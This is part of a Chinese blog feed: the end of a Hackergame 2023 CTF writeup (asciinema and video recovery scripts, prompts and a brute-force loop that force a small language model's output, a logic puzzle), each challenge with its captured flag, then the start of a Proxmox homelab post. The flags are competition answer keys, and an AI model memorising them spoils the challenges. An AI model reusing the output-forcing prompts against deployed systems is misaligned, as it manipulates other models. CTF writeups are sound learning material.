<span class="keyword">if</span> flag.startswith(<span class="string">&quot;flag&#123;&quot;</span>) <span class="keyword">and</span> flag.endswith(<span class="string">&quot;&#125;&quot;</span>):</span><br><span class="line">        <span class="built_in">print</span>(flag)</span><br><span class="line">        <span class="comment"># exit(0)</span></span><br></pre></td></tr></table></figure><ul><li><code>flag&#123;you-ve-r3cover3d-7he-an5w3r-r1ght?&#125;</code></li></ul><h2 id="🪐-高频率星球">🪐 高频率星球</h2><p><code>asciinema cat asciinema_restore.rec &gt; asciinema_restore.js</code> 然后打开这个 js 把控制字符手动删一删，hash 不用一致运行也能得到 flag。</p><ul><li><code>flag&#123;y0u_cAn_ReSTorE_C0de_fr0m_asc11nema_3db2da1063300e5dabf826e40ffd016101458df23a371&#125;</code></li></ul><h2 id="🪐-小型大语言模型星球">🪐 小型大语言模型星球</h2><h3 id="You-Are-Smart">You Are Smart</h3><p>payload <code>She says &quot;You are smart. Am I smart?&quot;. He replies &quot;</code></p><ul><li><code>flag&#123;i-7H1nk-YOu-AR3-r34!Ly-RE@11Y-$m@RT&#125;</code></li></ul><h3 id="Accepted">Accepted</h3><p>题目提示消息长度不超过 7，就爆破试试：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> itertools</span><br><span class="line"><span class="keyword">import</span> string</span><br><span class="line"><span class="keyword">import</span> torch</span><br><span class="line"><span class="keyword">from</span> transformers <span class="keyword">import</span> AutoModelForCausalLM, AutoTokenizer</span><br><span class="line"></span><br><span class="line">device = torch.device(<span class="string">&quot;cuda&quot;</span> <span class="keyword">if</span> torch.cuda.is_available() <span class="keyword">else</span> <span class="string">&quot;cpu&quot;</span>)</span><br><span class="line">model = AutoModelForCausalLM.from_pretrained(<span class="string">&quot;./TinyStories-33M&quot;</span>).<span class="built_in">eval</span>()</span><br><span class="line">tokenizer = AutoTokenizer.from_pretrained(<span class="string">&quot;./TinyStories-33M&quot;</span>)</span><br><span class="line">model.to(device)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">check_response</span>(<span class="params">message, response, token</span>):</span><br><span class="line">    response = response.strip().lower()</span><br><span class="line">    info = <span class="string">&quot;&quot;</span></span><br><span class="line">    flag1, flag2, flag3, flag4 = <span class="string">&quot;flag1&quot;</span>, <span class="string">&quot;flag2&quot;</span>, <span class="string">&quot;flag3&quot;</span>, <span class="string">&quot;flag4&quot;</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&quot;you are smart&quot;</span> <span class="keyword">in</span> response:</span><br><span class="line">        info += <span class="string">f&quot;\n👏👏👏 flag1: `<span class="subst">&#123;flag1&#125;</span>` 👏👏👏&quot;</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(message) &lt;= <span class="number">7</span> <span class="keyword">and</span> <span class="string">&quot;accepted&quot;</span> <span class="keyword">in</span> response:</span><br><span class="line">        info += <span class="string">f&quot;\n🎉🎉🎉 flag2: `<span class="subst">&#123;flag2&#125;</span>` 🎉🎉🎉&quot;</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(message) &lt;= <span class="number">100</span> <span class="keyword">and</span> <span class="string">&quot;hackergame&quot;</span> <span class="keyword">in</span> response:</span><br><span class="line">        info += <span class="string">f&quot;\n🎊🎊🎊 flag3: `<span class="subst">&#123;flag3&#125;</span>` 🎊🎊🎊&quot;</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(message) &lt;= <span class="number">200</span> <span class="keyword">and</span> <span class="string">&quot;🐮&quot;</span> <span class="keyword">in</span> response:</span><br><span class="line">        info += <span class="string">f&quot;\n🔥🔥🔥 flag4: `<span class="subst">&#123;flag4&#125;</span>` 🔥🔥🔥&quot;</span></span><br><span class="line">    <span class="keyword">return</span> info</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">predict</span>(<span class="params">message</span>):</span><br><span class="line">    model_inputs = tokenizer.encode(message, return_tensors=<span class="string">&quot;pt&quot;</span>)</span><br><span class="line">    model_inputs = model_inputs.to(device)</span><br><span class="line">    model_outputs = model.generate(</span><br><span class="line">        model_inputs,</span><br><span class="line">        max_new_tokens=<span class="number">30</span>,</span><br><span class="line">        num_beams=<span class="number">1</span>,</span><br><span class="line">        pad_token_id=tokenizer.eos_token_id,</span><br><span class="line">    )</span><br><span class="line">    model_outputs = model_outputs[<span class="number">0</span>, <span class="built_in">len</span>(model_inputs[<span class="number">0</span>]) :]</span><br><span class="line">    model_output_text = tokenizer.decode(model_outputs, skip_special_tokens=<span class="literal">True</span>)</span><br><span class="line">    <span class="keyword">return</span> model_output_text</span><br><span class="line"></span><br><span class="line">alphabet = string.ascii_lowercase + string.digits</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> length <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">8</span>):</span><br><span class="line">    <span class="keyword">for</span> candidate <span class="keyword">in</span> itertools.product(alphabet, repeat=length):</span><br><span class="line">        message = <span class="string">&quot;&quot;</span>.join(candidate)</span><br><span class="line">        model_output_text = predict(message)</span><br><span class="line">        <span class="built_in">print</span>(message, model_output_text)</span><br><span class="line">        <span class="keyword">if</span> <span class="string">&quot;accepted&quot;</span> <span class="keyword">in</span> model_output_text:</span><br><span class="line">            info = check_response(message, model_output_text, <span class="string">&quot;&quot;</span>)</span><br><span class="line">            <span class="built_in">print</span>(message, model_output_text, info)</span><br><span class="line">            <span class="built_in">input</span>()</span><br></pre></td></tr></table></figure><p>payload <code>dju</code></p><ul><li><code>flag&#123;yOU-4r3-aCC3Pt3d-7O-C0N71nuE-7HE-gaMe&#125;</code></li></ul><h2 id="🪐-流式星球">🪐 流式星球</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cv2</span><br><span class="line"><span class="keyword">import</span> numpy <span class="keyword">as</span> np</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">create_video</span>(<span class="params">file, output</span>):</span><br><span class="line">    vidcap = cv2.VideoCapture(file)</span><br><span class="line">    frame_count = <span class="built_in">int</span>(vidcap.get(cv2.CAP_PROP_FRAME_COUNT))</span><br><span class="line">    frame_width = <span class="built_in">int</span>(vidcap.get(cv2.CAP_PROP_FRAME_WIDTH))</span><br><span class="line">    frame_height = <span class="built_in">int</span>(vidcap.get(cv2.CAP_PROP_FRAME_HEIGHT))</span><br><span class="line"></span><br><span class="line">    buffer = np.empty(shape=(frame_count, frame_height, frame_width, <span class="number">3</span>), dtype=np.uint8)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(frame_count):</span><br><span class="line">        success, frame = vidcap.read()</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> success:</span><br><span class="line">            <span class="keyword">raise</span> Exception(<span class="string">f&quot;Failed to read frame <span class="subst">&#123;i&#125;</span>&quot;</span>)</span><br><span class="line">        buffer[i] = frame</span><br><span class="line"></span><br><span class="line">    buffer = buffer.reshape((frame_count * frame_height * frame_width, <span class="number">3</span>))</span><br><span class="line">    buffer = buffer.ravel()</span><br><span class="line">    <span class="comment"># buffer = buffer[: -random.randint(0, 100)]</span></span><br><span class="line">    buffer.tofile(output)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">restore_video</span>(<span class="params">file, output, frame_count, frame_width, frame_height</span>):</span><br><span class="line">    frame_rate = <span class="number">30</span></span><br><span class="line">    codec = <span class="string">&quot;mp4v&quot;</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Read the binary file as a numpy array</span></span><br><span class="line">    buffer = np.fromfile(file, dtype=np.uint8)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># drop the last few bytes</span></span><br><span class="line">    buffer = buffer[: (<span class="number">3</span> * frame_count * frame_width * frame_height)]</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Reshape the array to the original shape of the video frames</span></span><br><span class="line">    buffer = buffer.reshape((frame_count, frame_height, frame_width, <span class="number">3</span>))</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Create a video writer object with the same properties as the original video</span></span><br><span class="line">    vidwriter = cv2.VideoWriter(</span><br><span class="line">        output, cv2.VideoWriter_fourcc(*codec), frame_rate, (frame_width, frame_height)</span><br><span class="line">    )</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Write each frame to the output video file</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(frame_count):</span><br><span class="line">        vidwriter.write(buffer[i])</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Release the video writer object</span></span><br><span class="line">    vidwriter.release()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    frame_width = <span class="number">427</span></span><br><span class="line">    frame_height = <span class="number">439</span></span><br><span class="line">    frame_count = <span class="built_in">int</span>(<span class="number">135146688</span> / (frame_width * frame_height * <span class="number">3</span>))</span><br><span class="line">    restore_video(<span class="string">&quot;video.bin&quot;</span>, <span class="string">&quot;video.mp4&quot;</span>, frame_count, frame_width, frame_height)</span><br></pre></td></tr></table></figure><p>可惜末尾被随机丢了一部分，否则可以分解因数算出长宽</p><ul><li><code>flag&#123;it-could-be-easy-to-restore-video-with-haruhikage-even-without-meta-data-0F7968CC&#125;</code></li></ul><h2 id="🪐-低带宽星球">🪐 低带宽星球</h2><p>我最好的两个结果，一个是 <span class="exturl" data-url="aHR0cHM6Ly9jb21wcmVzcy1vci1kaWUuY29tLw==">compress-or-die<i class="fa fa-external-link-alt"></i></span> 压缩的 webp，178 字节；另一个是我自己试的 svg，156 字节：</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">svg</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">rect</span> <span class="attr">width</span>=<span class="string">&quot;1024&quot;</span> <span class="attr">height</span>=<span class="string">&quot;1024&quot;</span> <span class="attr">fill</span>=<span class="string">&quot;#547b9b&quot;</span>/&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">rect</span> <span class="attr">width</span>=<span class="string">&quot;675&quot;</span> <span class="attr">height</span>=<span class="string">&quot;1024&quot;</span> <span class="attr">fill</span>=<span class="string">&quot;#b05ea2&quot;</span>/&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">rect</span> <span class="attr">width</span>=<span class="string">&quot;358&quot;</span> <span class="attr">height</span>=<span class="string">&quot;1024&quot;</span> <span class="attr">fill</span>=<span class="string">&quot;#ae3c09&quot;</span>/&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">svg</span>&gt;</span></span><br></pre></td></tr></table></figure><ul><li><code>flag&#123;A1ot0f_t0015_is_available_to_compre55_PNG&#125;</code></li></ul><h2 id="异星歧途">异星歧途</h2><p>进入游戏可以按空格暂停。</p><p>查看第一个微型处理器的逻辑：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">sensor s1 switch1 @enabled</span><br><span class="line">sensor s2 switch2 @enabled</span><br><span class="line">sensor s3 switch3 @enabled</span><br><span class="line">sensor s4 switch4 @enabled</span><br><span class="line">sensor s5 switch5 @enabled</span><br><span class="line">sensor s6 switch6 @enabled</span><br><span class="line">sensor s7 switch7 @enabled</span><br><span class="line">sensor s8 switch8 @enabled</span><br><span class="line">jump 18 equal s1 false</span><br><span class="line">jump 18 equal s2 true</span><br><span class="line">jump 18 equal s3 false</span><br><span class="line">jump 18 equal s4 true</span><br><span class="line">jump 18 equal s5 true</span><br><span class="line">jump 18 equal s6 false</span><br><span class="line">jump 18 equal s7 true</span><br><span class="line">jump 18 equal s8 false</span><br><span class="line">control enabled generator1 1 0 0 0</span><br><span class="line">end</span><br><span class="line">control enabled generator1 0 0 0 0</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>容易得出 10100101</p><p>查看第二个逻辑处理器的逻辑：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line">sensor sw1 switch1 @enabled</span><br><span class="line">sensor sw2 switch2 @enabled</span><br><span class="line">sensor sw3 switch3 @enabled</span><br><span class="line">sensor sw4 switch4 @enabled</span><br><span class="line">sensor sw5 switch5 @enabled</span><br><span class="line">sensor sw6 switch6 @enabled</span><br><span class="line">sensor sw7 switch7 @enabled</span><br><span class="line">sensor sw8 switch8 @enabled</span><br><span class="line">op shl t sw1 7</span><br><span class="line">set number t</span><br><span class="line">op shl t sw2 6</span><br><span class="line">op add number number t</span><br><span class="line">op shl t sw3 5</span><br><span class="line">op add number number t</span><br><span class="line">op shl t sw4 4</span><br><span class="line">op add number number t</span><br><span class="line">op shl t sw5 3</span><br><span class="line">op add number number t</span><br><span class="line">op shl t sw6 2</span><br><span class="line">op add number number t</span><br><span class="line">op shl t sw7 1</span><br><span class="line">op add number number t</span><br><span class="line">set t sw8</span><br><span class="line">op add number number t</span><br><span class="line">set en 0</span><br><span class="line">set i 0</span><br><span class="line">jump 33 greaterThanEq i 16</span><br><span class="line">op pow fl0 i 2</span><br><span class="line">jump 31 notEqual fl0 number</span><br><span class="line">set en 1</span><br><span class="line">jump 33 always x false</span><br><span class="line">op add i i 1</span><br><span class="line">jump 26 always x false</span><br><span class="line">op equal fl1 0 sw1</span><br><span class="line">op equal fl2 0 sw6</span><br><span class="line">op or fl3 fl1 fl2</span><br><span class="line">jump 38 equal fl3 0</span><br><span class="line">set en 0</span><br><span class="line">control enabled generator1 en 0 0 0</span><br><span class="line">control enabled panel1 en 0 0 0</span><br><span class="line">end</span><br></pre></td></tr></table></figure><p>通过末尾几句确定 sw1 和 sw6 为 1，前面的逻辑求了整个八位二进制的值，并判断它是不是 0 到 15 中某个数的平方。</p><p>容易得出 11000100</p><p>第三个不是特别明白，第四个是外部逻辑电路尝试得到 01110111</p><p>使用 pwntools 爆破得到 flag （</p><ul><li><code>flag&#123;B34WarE_0f_#xp1osi0N_352dbe3717&#125;</code></li></ul><h2 id="See-also">See also</h2><ul><li><span class="exturl" data-url="aHR0cHM6Ly9ibG9nLmtvaXNoaTUxNC5tb2UvaW5kZXguaHRtbD90eXBlPWFydGljbGUmZmlsZW5hbWU9M2hpR01LWkZmRE5LLm1k">Hackergame 2023 WriteUp on 無意識のサクラ ANOTHER LAYER<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9ibG9nLmNoaWh1bzIxMDQuZGV2L3Bvc3RzL3VzdGMtaGFja2VyZ2FtZTIwMjMtd3JpdGV1cHM=">年轻人的第一届 Hackergame — Some writeups for USTC Hackergame 2023 on chihuo2104 の部落格<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9taWFvdG9ueS54eXovMjAyMy8xMS8wNS9DVEZfMjAyM0hhY2tlcmdhbWUv">CTF | 2023 USTC Hackergame WriteUp on MiaoTony’s 小窝<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly90cWx3c2wubW9lL2luZGV4LnBocC9hcmNoaXZlcy8yNjIzLw==">【CTF】writeup——hackergame 2023 on 某魏‘s Blog<i class="fa fa-external-link-alt"></i></span></li><li><span class="exturl" data-url="aHR0cHM6Ly9ibG9nLnl1dXRhLm1vZS8yMDIzLzExLzAzL2N0Zi1oYWNrZXJnYW1lMjAyMy8=">Hackergame 2023 Writeup on Garden in the Wonderland<i class="fa fa-external-link-alt"></i></span></li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;Hackergame，启动！&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.apeiria.net/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="CTF" scheme="https://blog.apeiria.net/tags/CTF/"/>
    
    <category term="Hackergame" scheme="https://blog.apeiria.net/tags/Hackergame/"/>
    
    <category term="WriteUp" scheme="https://blog.apeiria.net/tags/WriteUp/"/>
    
  </entry>
  
  <entry>
    <title>搭建我的 HomeLab：硬件、软件和网络</title>
    <link href="https://blog.apeiria.net/2023/build-my-homelab/"/>
    <id>https://blog.apeiria.net/2023/build-my-homelab/</id>
    <published>2023-08-15T00:00:00.000Z</published>
    <updated>2023-08-15T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>这篇博客记录了我搭建 HomeLab 的经历。使用 HP EliteDesk 800 G4 TWR 和 Proxmox VE 虚拟化平台，搭建了多个虚拟机和容器来运行各种服务。还涉及了以 NanoPi R2S 为主路由的网络配置。</p><span id="more"></span><h2 id="起因">起因</h2><p>我原先使用的 NAS 是黑群晖 DS120j （Marvell ARMADA A3720 1.0GHz 2xCortex-A53 + 512M DDR3L + 8G eMMC + 1TB HDD），原本的使用场景是轻度 PT 做种 + 小范围私人共享。随着我的 VPS 上运行了越来越多服务（bind、wireguard、zerotier、bird、nginx、v2ray、nonebot、gocqhttp、nazurin、rsstt…），我的小鸡要被榨干了，而今年 QQ 对 gocqhttp 的风控也更严格了，就想要把境内服务全部迁移到境内。起初我在我的黑群晖 NAS 上尝试使用 docker，虽然可以用，但由于 CPU 性能低经常满载，机械硬盘速度慢，重启一次 QQ 机器人的 docker 容器至少要半小时，而且由于是 arm 架构，需要不同的 docker 映像。家里也没其它设备可以换地方跑，把家里的电视盒子全拆了都没找到有适配 linux 固件的。加上原先我对黑群晖的一些套件也不满意（而不能通过 docker 绕过），就打算组装一台 HomeLab。</p><h2 id="硬件">硬件</h2><p>家里有一台 Dell Inspiron 3847，家人有时需要用，有时内存会接触不良，擦一次能好一段时间，我嫌弃它太旧了，就没有去用它。</p><p>考虑到我几乎天天都在家（自宅警備員），所以就没有去选带 IPMI 的服务器主板。过去一年我家没停过电，所以也没有买 UPS。由于预算并不多，我也放弃了 RAID，在一番搜索后决定抄<span class="exturl" data-url="aHR0cHM6Ly95b3V0dS5iZS9fa1BVeWdLZVdLWQ==">这个<i class="fa fa-external-link-alt"></i></span>捡垃圾。</p><table><thead><tr><th style="text-align:center">硬件</th><th style="text-align:center">来源</th><th style="text-align:center">价格（CNY）</th><th style="text-align:center">备注</th></tr></thead><tbody><tr><td style="text-align:center">HP EliteDesk 800 G4 TWR</td><td style="text-align:center">闲鱼</td><td style="text-align:center">329</td><td style="text-align:center">机箱、主板、电源</td></tr><tr><td style="text-align:center">Intel i3-9100T</td><td style="text-align:center">闲鱼</td><td style="text-align:center">333</td><td style="text-align:center">CPU</td></tr><tr><td style="text-align:center">Samsung DDR4 2666MHz 16G * 2</td><td style="text-align:center">淘宝</td><td style="text-align:center">558</td><td style="text-align:center">内存</td></tr><tr><td style="text-align:center">WD SN550 500G</td><td style="text-align:center">拆机</td><td style="text-align:center">约 200</td><td style="text-align:center">NVMe SSD</td></tr><tr><td style="text-align:center">Samsung 750 EVO 120G</td><td style="text-align:center">拆机</td><td style="text-align:center">约 50</td><td style="text-align:center">SATA SSD</td></tr><tr><td style="text-align:center">Seagate ST1000DM003 1TB</td><td style="text-align:center">拆机</td><td style="text-align:center">约 100</td><td style="text-align:center">HDD</td></tr><tr><td style="text-align:center">Realtek RTL8125BG 2.5GbE</td><td style="text-align:center">淘宝</td><td style="text-align:center">39</td><td style="text-align:center">网卡</td></tr><tr><td style="text-align:center">购买合计</td><td style="text-align:center"></td><td style="text-align:center">1259</td><td style="text-align:center"></td></tr><tr><td style="text-align:center">拆机合计</td><td style="text-align:center"></td><td style="text-align:center">约 350</td><td style="text-align:center"></td></tr></tbody></table><p>考虑到扩展性采用了全高机箱的版本。买的 unbuffered ECC 内存，但是 ECC 似乎不工作。</p><p>硬盘分别是从我的笔记本、Dell Inspiron 3847、旧的 NAS 里拆的，空间有点小但我没有仓鼠症所以还算够用，晚点有需要再加硬盘。</p><p>750 EVO 原定作用是给机械硬盘当缓存，但我没计算固态硬盘的写入寿命，在开始运行的三个月内健康度掉了 30 后我把它拆掉了（感觉对性能影响不大）。</p><blockquote><p><span class="exturl" data-url="aHR0cHM6Ly9zdXBwb3J0LmhwLmNvbS91cy1lbi9kb2N1bWVudC9jMDYwNTE0MTQ=">HP EliteDesk 800 G4 Tower Specifications<i class="fa fa-external-link-alt"></i></span></p></blockquote><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/build-my-homelab/installation.jpg" alt="装机"></p><h2 id="软件">软件</h2><p><img data-src="https://cdn.jsdelivr.net/gh/Misaka13514/asset@main/blog/_posts/build-my-homelab/truenas.jpg" alt="TrueNAS SCALE"></p><p>我先尝试了 <span class="exturl" data-url="aHR0cHM6Ly93d3cudHJ1ZW5hcy5jb20vdHJ1ZW5hcy1zY2FsZS8=">TrueNAS SCALE<i class="fa fa-external-link-alt"></i></span>，我没有用过这个系统，预想中用它来做 NAS 的话可以免去虚拟化开销。在最初不清楚几个盘如何规划的情况下我重装了好几次，默认安装方案启动盘会有很多空间被浪费，我使用了<span class="exturl" data-url="aHR0cHM6Ly93d3cucmVkZGl0LmNvbS9yL3RydWVuYXMvY29tbWVudHMvbGdmNzV3L3NjYWxlaG93dG9fc3BsaXRfc3NkX2R1cmluZ19pbnN0YWxsYXRpb24v">这个教程<i class="fa fa-external-link-alt"></i></span>中提到的方法绕过了这个限制试用了一段时间，发现可配置项很多，如果自己一个人用的话应该玩法有很多。我最终没有使用这个系统的原因是对于小范围私人共享的场景，它并不是很合适。它没有普通用户界面、文件权限难以精细控制、WebDAV 鉴权不使用 PAM、WebDAV 和 SMB 似乎不能同时在相同的文件上启用。</p><p>我再考虑了 Arch 或 Debian 的 DIY 方案，但我认为我不会有足够精力去维护这样的系统，NixOS 的方案虽然 SHLUG 有人在用但我并不熟悉配置所以也放弃了。我需要的是一个面向网络控制的操作系统，根据网上的说法 VMware ESXi 对非服务器硬件支持不够好，最终我选择了 Proxmox VE。</p><p>PVE 的使用可以看 <span class="exturl" data-url="aHR0cHM6Ly9taWFvdG9ueS54eXovMjAyMi8xMi8xOC9TZXJ2ZXJfSG9tZUxhYl8xX1BWRXNldHVwLw==">MiaoTony 师傅的小窝<i class="fa fa-external-link-alt"></i></span>，我会跳过配置过程的说明。</p><p>IOMMU 的部分同时适当参考了 <span class="exturl" data-url="aHR0cHM6Ly93aWtpLmFyY2hsaW51eC5vcmcvdGl0bGUvUENJX3Bhc3N0aHJvdWdoX3ZpYV9PVk1G">PCI passthrough via OVMF - ArchWiki<i class="fa fa-external-link-alt"></i></span></p><ul><li><span class="exturl" data-url="aHR0cHM6Ly9mb3hpLmJ1ZHVhbndhbmcudmlwL3ZpcnR1YWxpemF0aW9uLzE3NTQuaHRtbC8=">硬盘直通<i class="fa fa-external-link-alt"></i></span>，我采用了 SATA 控制器直通的方式。</li><li><span class="exturl" data-url="aHR0cHM6Ly8zb3Mub3JnL2luZnJhc3RydWN0dXJlL3Byb3htb3gvZ3B1LXBhc3N0aHJvdWdoL2dwdS1wYXNzdGhyb3VnaC10by12bS8=">显卡直通<i class="fa fa-external-link-alt"></i></span>，我试了可用，但我不喜欢维护媒体库，觉得挂载打开文件夹简单直接，就几乎不用显卡。</li></ul><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># ./iommu_check.sh</span></span><br><span class="line">IOMMU Group 0:</span><br><span class="line">        00:02.0 VGA compatible controller [0300]: Intel Corporation CoffeeLake-S GT2 [UHD Graphics 630] [8086:3e91]</span><br><span class="line">IOMMU Group 1:</span><br><span class="line">        00:00.0 Host bridge [0600]: Intel Corporation 8th Gen Core 4-core Desktop Processor Host Bridge/DRAM Registers [Coffee Lake S] [8086:3e1f] (rev 08)</span><br><span class="line">IOMMU Group 2:</span><br><span class="line">        00:12.0 Signal processing controller [1180]: Intel Corporation Cannon Lake PCH Thermal Controller [8086:a379] (rev 10)</span><br><span class="line">IOMMU Group 3:</span><br><span class="line">        00:14.0 USB controller [0c03]: Intel Corporation Cannon Lake PCH USB 3.1 xHCI Host Controller [8086:a36d] (rev 10)</span><br><span class="line">        00:14.2 RAM memory [0500]: Intel Corporation Cannon Lake PCH Shared SRAM [8086:a36f] (rev 10)</span><br><span class="line">IOMMU Group 4:</span><br><span class="line">        00:17.0 SATA controller [0106]: Intel Corporation Cannon Lake PCH SATA AHCI Controller [8086:a352] (rev 10)</span><br><span class="line">IOMMU Group 5:</span><br><span class="line">        00:1b.0 PCI bridge [0604]: Intel Corporation Cannon Lake PCH PCI Express Root Port <span class="comment">#21 [8086:a32c] (rev f0)</span></span><br><span class="line">IOMMU Group 6:</span><br><span class="line">        00:1c.0 PCI bridge [0604]: Intel Corporation Cannon Lake PCH PCI Express Root Port <span class="comment">#7 [8086:a33e] (rev f0)</span></span><br><span class="line">IOMMU Group 7:</span><br><span class="line">        00:1f.0 ISA bridge [0601]: Intel Corporation Q370 Chipset LPC/eSPI Controller [8086:a306] (rev 10)</span><br><span class="line">        00:1f.3 Audio device [0403]: Intel Corporation Cannon Lake PCH cAVS [8086:a348] (rev 10)</span><br><span class="line">        00:1f.4 SMBus [0c05]: Intel Corporation Cannon Lake PCH SMBus Controller [8086:a323] (rev 10)</span><br><span class="line">        00:1f.5 Serial bus controller [0c80]: Intel Corporation Cannon Lake PCH SPI Controller [8086:a324] (rev 10)</span><br><span class="line">        00:1f.6 Ethernet controller [0200]: Intel Corporation 